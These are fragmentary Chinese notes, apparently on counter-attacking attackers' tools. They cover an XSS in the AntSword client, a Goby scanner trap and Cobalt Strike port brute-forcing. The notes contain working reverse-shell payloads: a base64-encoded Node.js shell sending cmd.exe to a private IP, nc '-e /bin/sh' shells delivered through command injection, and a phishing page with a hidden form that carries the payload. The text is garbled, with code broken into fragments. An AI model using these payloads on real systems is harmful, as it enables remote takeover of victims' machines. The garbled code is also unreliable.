ntsword

可以看出来蚁剑可以执行javascript代码因为不在浏览器上所以应该可以执行node.js代码

Chrome

JavaScript引擎的开源JavaScript运行时环境。

它使得JavaScript能够在服务器端运行

var

require(child_process).exec(cmd.exe);

var

function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});把ip修改为自己的ip和端口并进行base64编码

利用xss漏洞触发执行把编码进行拼接

Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMTExLCAiMTkyLjE2OC4yMzIuMTMxIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTtzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw,base64).toString()));?防守方修改

msfvenom

linux系统在运行命令时,在后面有参数的时候会先去看参数是什么然后再执行当加上

{命令}

http://192.168.232.128/1.php?idaaabls

利用nc反弹shell

http://192.168.232.128/1.php?idaaabnc

/bin/bash

创建钓鱼页面把echo后面的代码变成反弹自己页面的base64代码

html

enctypetext/plain!--创建一个隐藏的表单--input

typehidden

valueVertiFyid45273434queryshellecho

bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMjggMjIyMg

base64

利用漏洞扫描工具扫描的时候就会扫描到post类型的sql注入最好配合正式系统留个陷阱

访问然后抓包发现为post

但是问题就是感觉有经验的一眼就能看出来就能骗骗菜鸟而且还需要优化不能让他卡在那里

案例三溯源反制-漏洞扫描工具-Goby

https://github.com/ryanohoro/csbruter

命令这里默认他是50050端口一般需要去爆破出来cs开放端口是多少并且确定了cs地址如果他没有做过c2

python3

http://python简易网站:8000/evil.svg同时cs会上线